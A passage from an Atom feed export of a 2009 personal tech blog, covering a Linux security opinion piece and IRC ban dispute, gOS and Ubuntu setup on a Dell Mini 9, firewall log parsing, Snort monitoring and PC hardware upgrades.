susceptible to application-level exploits.  Whether this is a coder issue or PEBKAC/user/admin issue is besides the point.&lt;br /&gt;&lt;br /&gt;People need to stop thinking that just because they are running Linux, they are safe.  That is NOT the case.  This is not paranoia speaking.  It is from seeing such things happen on a daily basis during security event monitoring.  Due to applications such as PHP-Nuke, it is becoming more difficult to secure back end applications.  It is much harder to stop SQL injection than it is to stop SSH brute-forcing, for instance.  This isn't the only issue, though.  The issue is the perception that because Linux code is open and free, the code base is free of vulnerabilities.  That is NOT the case.  Also, many people think that a majority of the cracker focus is on Win32 because MS has a majority of the market share.  That also is NOT the case.  That is a big assumption.  &lt;a href="www.milw0rm.com"&gt;milw0rm&lt;/a&gt; and other such sites document many *nix-based vulnerabilities, along with Bugtraq&lt;a href="http://www.securityfocus.com/archive/1"&gt;&lt;/a&gt; at &lt;a href="http://www.securityfocus.com/"&gt;Securityfocus&lt;/a&gt; track all vulnerabilities.  Sometimes, people justify Linux because its security model is better focused than Win32 systems.  It is, but that does not mean that Linux is rock-solid.  It has its own faults, whether it is the user, the admin, or the software developer (or even kernel developer).&lt;br /&gt;&lt;br /&gt;Dagmar has a habit of blocking out people's opinions and sometimes beating people down with his own.  Dagmar thinks he knows security more than anyone else when he's just a developer.  I see attacks every day on all types of machines.  Some of the attacks are successful.  I doubt that Dagmar sees those.  Dagmar need not worry about me "propagating" untruth, because what I say IS the truth.  All you have to do to see the truth is to research and not be blind to other opinions.&lt;br /&gt;&lt;br /&gt;Dagmar also stalked.  After the IRC discussion, he began to frequent the LQ security forums and respond to every thread I posted to.  He was hardly ever in those forums before then.  I noticed this immediately (and also checked).  I didn't mind this, but when it spilled back over into IRC, I tired of it and wanted it ended...it really had no place in ##slackware and I was fed up with his attitude about the whole thing.  I don't suffer drama very well.&lt;br /&gt;&lt;br /&gt;Now, Dagmar has been banned several times before for the lack of tact in the way he 'helped' people in ##slackware.  He was walking a thin line to begin with.  Those with operator status in ##slackware acknowledge that he is knowledgeable, but that is not grounds for him to be dismissed as an abusive ##slackware visitor.  Sure enough, he did the same thing with a channel operator (me) and I banned him.  I also discussed it with the other operators.  The consensus was that he stay banned since his history of being banned was substantial.&lt;br /&gt;&lt;br /&gt;That was why he got banned...not because his views went against my own, but because he started regressing back to his former self and became abusive.  He did the same in the LQ.org forums, but I was able to filter his posts from my normal views.  As an operator at Freenode.net, I can't and shouldn't filter any visitor from my views in ##slackware, so my only option was to ban him, and like I said before, he'd his own infamous nature that was going against him.&lt;br /&gt;&lt;br /&gt;As a security consultant, I'm certainly not going to keep my thoughts quiet about what I think is a disservice to my favorite operating system.  I certainly know more than someone who is not a security consultant about IT security...its what I get paid to do and its what I've been doing for years.  It's the same as a person who has built his own car, vs. someone who works as a senior Mercedes mechanic.&lt;br /&gt;&lt;br /&gt;As much as I can, I tell people that there is NO secure OS.  It is only as secure as the admin makes it, and even if the admin puts 100% resources into hardening the box, it will never be 100% secure.  The LQ security forums is itself proof that Linux systems get compromised more than most people think.  2-3 times a week, someone reports they've been compromised.  There's even 4 threads on Linux-based vulnerabilities:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.linuxquestions.org/questions/linux-security-4/kernel-vulns-399624/"&gt;Kernel Vulns&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.linuxquestions.org/questions/linux-security-4/mozilla-firefox-vulns-410911/"&gt;Mozilla Firefox Vulns&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.linuxquestions.org/questions/linux-security-4/mozilla-firefox-vulns-410911/"&gt;The Problem with PHP Application Security&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.linuxquestions.org/questions/linux-security-4/failed-ssh-login-attempts-340366/"&gt;Failed SSH Login Attempts&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I can post a ton of other links but why do this when there is &lt;a href="http://www.google.com"&gt;Google&lt;/a&gt;?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-4291825527414282702?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/4291825527414282702/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=4291825527414282702' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/4291825527414282702'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/4291825527414282702'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/06/researching-and-found-old-flamefest.html' title='Researching and found an old flamefest spark'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-8688178900016109591</id><published>2009-05-26T20:44:00.003-04:00</published><updated>2009-06-06T23:54:11.366-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Broadcom'/><category scheme='http://www.blogger.com/atom/ns#' term='Dell Mini 9'/><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><category scheme='http://www.blogger.com/atom/ns#' term='gOS'/><category scheme='http://www.blogger.com/atom/ns#' term='hibernation'/><category scheme='http://www.blogger.com/atom/ns#' term='b43xx'/><category scheme='http://www.blogger.com/atom/ns#' term='suspend'/><title type='text'>No further issues with gOS so far</title><content type='html'>It has been a very good experience, so far.  &lt;br /&gt;&lt;br /&gt;In fact, I've also been leveraging Thunderbird...this is a first time for me (since Netscape Mail back in the 90s).  It is very robust!&lt;br /&gt;&lt;br /&gt;I've also aliased a few commands that I tend to use alot, mainly ssh commands that I use on remote hosts.&lt;br /&gt;&lt;br /&gt;I've also found some decent background images that I've scaled (using Gimp) to 1024x600.&lt;br /&gt;&lt;br /&gt;I've also been conducting my typical security audits (BASE and iptables and web server log perusing).&lt;br /&gt;&lt;br /&gt;I've not used my Mac in like 3 weeks!  I don't know if that's a good or bad thing (probably bad for the battery).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-8688178900016109591?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/8688178900016109591/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=8688178900016109591' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8688178900016109591'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8688178900016109591'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/05/no-further-issues-with-gos-so-far.html' title='No further issues with gOS so far'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-7929216228297214423</id><published>2009-05-11T20:16:00.008-04:00</published><updated>2009-06-06T23:53:59.303-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Broadcom'/><category scheme='http://www.blogger.com/atom/ns#' term='Dell Mini 9'/><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><category scheme='http://www.blogger.com/atom/ns#' term='gOS'/><category scheme='http://www.blogger.com/atom/ns#' term='hibernation'/><category scheme='http://www.blogger.com/atom/ns#' term='b43xx'/><category scheme='http://www.blogger.com/atom/ns#' term='suspend'/><title type='text'>gOS v3.1 installed on Dell Mini 9</title><content type='html'>I took the plunge and installed gOS v3.1 Gadgets onto the Dell Mini 9.&lt;br /&gt;&lt;br /&gt;The install went flawlessly.&lt;br /&gt;&lt;br /&gt;The issues I have discovered so far:&lt;br /&gt;&lt;br /&gt;1.  Wireless would not work.  I followed the instructions located at &lt;a href="http://gosforums.org/viewtopic.php?f=21&amp;t=48&amp;p=203&amp;hilit=broadcom#p223"&gt;http://gosforums.org/viewtopic.php?f=21&amp;t=48&amp;p=203&amp;hilit=broadcom#p223&lt;/a&gt;.  I applied this fix (when I was using a cat5 connection) and it worked, so the wireless non-functionality is no longer an issue.&lt;br /&gt;&lt;br /&gt;2.  The Mini won't suspend when I close the lid.  I can manually suspend, though.  I'll hunt for a fix and apply it later.&lt;br /&gt;&lt;br /&gt;I also just noticed that a swap partition was created and configured for use (automatically, when installing gOS).  I already have a gig of physical RAM and I don't want to burn out my SSD card, so I'll disable it for now and consider a workaround if/when I need it.&lt;br /&gt;&lt;br /&gt;Overall, this is a pretty solid distro and it is pretty cool to be able to use Google tools (this will save drive space and conserve the limited resources this machine has).  The Gadgets can also be used offline, so I won't need to be connected to use them...now, that's cool.&lt;br /&gt;&lt;br /&gt;Some screenshots:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DYU25XfzLMA/SgjCWEuafNI/AAAAAAAAAFk/5YZOalhErBo/s1600-h/gOS_1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 187px;" src="http://1.bp.blogspot.com/_DYU25XfzLMA/SgjCWEuafNI/AAAAAAAAAFk/5YZOalhErBo/s320/gOS_1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5334727443101678802" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DYU25XfzLMA/SgjCfGaiWPI/AAAAAAAAAFs/N1CG6r4mOEg/s1600-h/gOS_2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 187px;" src="http://1.bp.blogspot.com/_DYU25XfzLMA/SgjCfGaiWPI/AAAAAAAAAFs/N1CG6r4mOEg/s320/gOS_2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5334727598174001394" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;EDIT:&lt;br /&gt;&lt;br /&gt;Fixed the sound issue by following Step 4 of &lt;a href="http://www.ubuntumini.com/2008/10/installing-ubuntu-on-dell-inspiron-mini.html"&gt;"Installing Ubuntu 8.10 on the Dell Inspiron Mini 9"&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I turned off the swap partition by editing out the swap entry in /etc/fstab.  I'll test to see how this impacts my install of gOS before removing the partition.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-7929216228297214423?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/7929216228297214423/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=7929216228297214423' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/7929216228297214423'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/7929216228297214423'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/05/gos-v31-gadgets-installed-on-dell-mini.html' title='gOS v3.1 installed on Dell Mini 9'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_DYU25XfzLMA/SgjCWEuafNI/AAAAAAAAAFk/5YZOalhErBo/s72-c/gOS_1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-8937122929190137061</id><published>2009-04-14T10:55:00.003-04:00</published><updated>2009-06-06T23:54:51.850-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Dell Mini 9'/><category scheme='http://www.blogger.com/atom/ns#' term='laptop'/><category scheme='http://www.blogger.com/atom/ns#' term='fwlogsearch'/><category scheme='http://www.blogger.com/atom/ns#' term='macbook'/><title type='text'>Power adapters and other news</title><content type='html'>Wouldn't it be nice if the laptop empire joined forces and standardized laptop power adapter cords?  I've several laptop and each requires a dedicated cord.  I forgot my cord for my Mini today...fortunately, it has a decent charge, but I now have to watch consumption of power.  Good thing my Macbook is in my truck.  May have to go get it!&lt;br /&gt;&lt;br /&gt;Other news:&lt;br /&gt;&lt;br /&gt;I'm still trying to script FW log parsing.  I've pretty much nailed it for my BSD machine, but will need to edit what I have, as the script parses and adds IPs to a block list.  Sometimes, I just want to parse and find the top 10 offenders.  I also still need to do this on my Linux machines.  I've a script that parses (for Linux) but it is very rudimentary.  And, I still want to port the script to Perl or Python.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-8937122929190137061?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/8937122929190137061/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=8937122929190137061' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8937122929190137061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8937122929190137061'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/04/power-adapters-and-other-news.html' title='Power adapters and other news'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-2699159310403598820</id><published>2009-03-10T18:29:00.004-04:00</published><updated>2009-03-10T19:59:27.221-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Dell Mini'/><category scheme='http://www.blogger.com/atom/ns#' term='GPL'/><category scheme='http://www.blogger.com/atom/ns#' term='permissive free software license'/><category scheme='http://www.blogger.com/atom/ns#' term='tcpdump'/><category scheme='http://www.blogger.com/atom/ns#' term='BASE'/><title type='text'>tcpdump, Dell Mini, and BASE</title><content type='html'>So, I'm wondering why tcpdump is missing from the default install of my Dell's Ubuntu...doesn't make sense.  I was having issues with getting my wifi card associated with my WAP and wanted to see the packets leaving the wireless interface, so I tried to bring up tcpdump, but it wasn't available.  I actually had to hook a cat5 cable to the Mini to get this package, just to troubelshoot.  I noticed the same thing with Suse about a year ago.&lt;br /&gt;&lt;br /&gt;Apparently, tcpdump was created on the &lt;a href="http://en.wikipedia.org/wiki/Permissive_free_software_licence"&gt;permissive free software license&lt;/a&gt;, per &lt;a href="http://en.wikipedia.org/wiki/Tcpdump"&gt;Wikipedia&lt;/a&gt;.  I don't know if this is actually GPL or a derivative of GPL.  The manpage doesn't mention what license tcpdump falls under and I'm sometimes wary of Wikipedia, as I like to find the facts on my own to validate (or invalidate) internet claims.&lt;br /&gt;&lt;br /&gt;I'll research this and post my findings here.&lt;br /&gt;&lt;br /&gt;On another note, I found a very cool bag for my Dell Mini, at Dell's website.  I'll try to post pics and a link soon (from my Macbook, as the Mini's keyboard slows me down a bit).&lt;br /&gt;&lt;br /&gt;Lastly, I somehow broke access to my MySQL database, so now my snort sensors won't report to it.  It's been down for about 2 weeks and I don't have the time to fix it.  I'm going on vacation for my birthday and hope to have some personal (ie, QUIET) time to myself to fix this.  I'll be visiting my parents for my birthday this weekend and will see about shelling in to fix it remotely.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-2699159310403598820?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/2699159310403598820/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=2699159310403598820' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2699159310403598820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2699159310403598820'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/03/tcpdump.html' title='tcpdump, Dell Mini, and BASE'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-5161899001112168585</id><published>2009-03-03T23:17:00.003-05:00</published><updated>2009-03-10T19:01:17.871-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Dshield'/><category scheme='http://www.blogger.com/atom/ns#' term='Firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='MyNetworkWatchman'/><title type='text'>Worked on...</title><content type='html'>Reconfigured mnwclient so that I can provide FW logs to MyNetworkWatchman (which is similar to Dshield).&lt;br /&gt;&lt;br /&gt;I'd much rather get Dshield working on the Linode but for some reason, I been having difficulties using their supplied clients.  I'll continue to work on it, as I had it working prior to the last Linode upgrade.&lt;br /&gt;&lt;br /&gt;With that in mind, at some time I'm going to have to upgrade the Linode from v12.0 to v12.2.&lt;br /&gt;&lt;br /&gt;Night...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-5161899001112168585?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/5161899001112168585/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=5161899001112168585' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5161899001112168585'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5161899001112168585'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/03/worked-on.html' title='Worked on...'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-4370259892113601927</id><published>2009-03-02T11:25:00.005-05:00</published><updated>2009-03-10T19:05:10.265-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Dell Mini'/><category scheme='http://www.blogger.com/atom/ns#' term='gdesklets'/><category scheme='http://www.blogger.com/atom/ns#' term='xchat'/><category scheme='http://www.blogger.com/atom/ns#' term='tcpdump'/><title type='text'>What I've installed on the Mini so far...</title><content type='html'>So far, I've installed the following on my Dell Mini:&lt;br /&gt;&lt;br /&gt;tcpdump (IMO, this is a mandatory package...should've been installed by default)&lt;br /&gt;xchat&lt;br /&gt;gdesklets (I'm going to remove this because desktop space is at a premium)&lt;br /&gt;&lt;br /&gt;That's it, so far.  Surprisingly, I find myself not needing much more than what apps are already installed.  Then again, I've had the Mini for less than a week.  :)&lt;br /&gt;&lt;br /&gt;EDIT:  also installed 'locate' but the install didn't include the updatedb.conf file...working on that now.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-4370259892113601927?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/4370259892113601927/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=4370259892113601927' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/4370259892113601927'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/4370259892113601927'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/03/what-ive-installed-on-mini-so-far.html' title='What I&apos;ve installed on the Mini so far...'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-1883576705962036057</id><published>2009-02-25T09:59:00.005-05:00</published><updated>2009-03-10T19:05:57.266-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Dell Mini'/><category scheme='http://www.blogger.com/atom/ns#' term='SSD'/><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><title type='text'>My Mini is here!</title><content type='html'>My Dell Mini has arrived.  Went to pick it up at the local Fedex facility last night.&lt;br /&gt;&lt;br /&gt;It came in a LITTLE box.  Basically, it was just the netbook and the adapter that were in the box, with a few CDs and documents.&lt;br /&gt;&lt;br /&gt;I took it out and plugged it up and the battery was almost fully charged already, but I charged it anyways.&lt;br /&gt;&lt;br /&gt;The keypad is small and my big hands don't help much but the unit itself is pretty slick.&lt;br /&gt;&lt;br /&gt;The tech specs are below:&lt;br /&gt;&lt;br /&gt;32gb SSD drive&lt;br /&gt;1.3mb vidcam&lt;br /&gt;1gb RAM&lt;br /&gt;Ubuntu Linux OS&lt;br /&gt;Black in color&lt;br /&gt;&lt;br /&gt;I opted for no bluetooth but now I'm thinking maybe I should've went that route (although it would've jacked up the price.&lt;br /&gt;&lt;br /&gt;I now need a case.  For now, I'm carrying it in my work laptop's bag.&lt;br /&gt;&lt;br /&gt;My immediate problem is that it won't connect to any wireless networks, either at home or at work.  I did a quick search and this appears to be a known issue.  I'll have to delve more into this.  When I attempt to have it automatically apply the wireless setting and check those settings, the settings are blank (no IP or DNS).  Manually applying them doesn't help.&lt;br /&gt;&lt;br /&gt;So, I'll be occupied the next few days...  :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-1883576705962036057?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/1883576705962036057/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=1883576705962036057' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/1883576705962036057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/1883576705962036057'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/02/my-dell-mini-has-arrived.html' title='My Mini is here!'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-2249106986393091816</id><published>2009-02-12T20:03:00.006-05:00</published><updated>2009-03-13T17:31:18.399-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Dell Mini'/><category scheme='http://www.blogger.com/atom/ns#' term='AMD'/><category scheme='http://www.blogger.com/atom/ns#' term='Phenom'/><category scheme='http://www.blogger.com/atom/ns#' term='motherboard'/><category scheme='http://www.blogger.com/atom/ns#' term='RAM'/><category scheme='http://www.blogger.com/atom/ns#' term='Intel'/><title type='text'>Dell Mini 9 and system upgrades</title><content type='html'>I just ordered a &lt;a href="http://tinyurl.com/6rxdjt"&gt;Dell Mini 9&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;It should be here next week.  I purchased the 16GB SSD upgrade and webcam.  It is also a Windows XP model.  Later, I'll more than likely either install Linux on it (or OS X), although this will require a USB optical drive.&lt;br /&gt;&lt;br /&gt;The plan is to also upgrade the SSD to 32GB (a $119 purchase at &lt;a href="http://tinyurl.com/5oresr"&gt;My Digital Discount&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;More than likely, I'm going to sell my Macbook (and maybe use the money to get an iMac).&lt;br /&gt;&lt;br /&gt;As for my dead motherboard, it looks like I'm looking at &lt;a href="http://www.newegg.com/Product/ComboDealDetails.aspx?ItemList=Combo.155232"&gt;this&lt;/a&gt;.  I've decided to go AMD Phenom.  Why?  Because, while I want to upgrade to quad core while I can, I don't want to go Core i7 because I'd have to spend butt-loads on the CPU and motherboard in addition to DDR3 RAM...too much upgrading.  At this point, I don't even want to go Intel.  While Intel has better bang for the buck regarding CPU power and robustness, I'm extremely loyal to AMD.  There's nothing wrong with AMD's products if you don't benchmark (and I'm not one to hang his every decision on raw stats alone).  I should have the parts within a month...then I can game again.  This will leave me with an unused Pentium D 830 (dual core), though.  That means I'll more than likely buy a cheaper motherboard just to utilize that CPU in one of my older systems...it is a nice CPU with good power.&lt;br /&gt;&lt;br /&gt;EDIT:  I upgraded my Mini order because they were offering a $50 discount on Presidents Day.  It will have Ubuntu and it will also have a 32GB SSD.  More than likely I'm going to send it back, though, since Asus has a better buy, sans the SSD, but also has BT.&lt;br /&gt;&lt;br /&gt;About my mainboard and CPU upgrade.  I went AMD.  I bought a Phenom 940 with a Foxconn mainboard.  It is up and running now.  It is FAST and I've yet to see all 4 cores maxed out!  I also bought another mainboard for the Pentium CPU.  That's a project for another day, though.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16813186149" target="_blank"&gt;Foxconn A79A-S AM2+/AM2 AMD 790FX ATX AMD Motherboard&lt;/a&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16819103471" target="_blank"&gt;AMD Phenom II X4 940 Deneb 3.0GHz Socket AM2+ 125W Quad-Core Black Edition Processor Model HDZ940XCGIBOX&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-2249106986393091816?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/2249106986393091816/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=2249106986393091816' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2249106986393091816'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2249106986393091816'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/02/dell-mini-9.html' title='Dell Mini 9 and system upgrades'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-3582239116703254910</id><published>2009-01-30T09:20:00.009-05:00</published><updated>2009-03-10T19:54:54.015-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='motherboard failure'/><category scheme='http://www.blogger.com/atom/ns#' term='Northbridge'/><category scheme='http://www.blogger.com/atom/ns#' term='power supply'/><category scheme='http://www.blogger.com/atom/ns#' term='Ultra'/><title type='text'>System dead</title><content type='html'>Ref: http://slackfiles.blogspot.com/2007_02_18_archive.html&lt;br /&gt;&lt;br /&gt;OK. Apparently when the Ultra PS died, it may have taken the motherboard with it. The machine has been blue-screening ever since the PS replacement, just not as frequently as before.&lt;br /&gt;&lt;br /&gt;I also noticed that the HSF on the Northbridge isn't working. When searching Google for issues with the Northbridge, I found that this is happening to others and that it actually signifies a motherboard failure. The Northbridge gets HOT and I'm assuming that over time, the heat has killed the motherboard.&lt;br /&gt;&lt;br /&gt;This is the time to upgrade, I guess. I'll more than likely buy a new 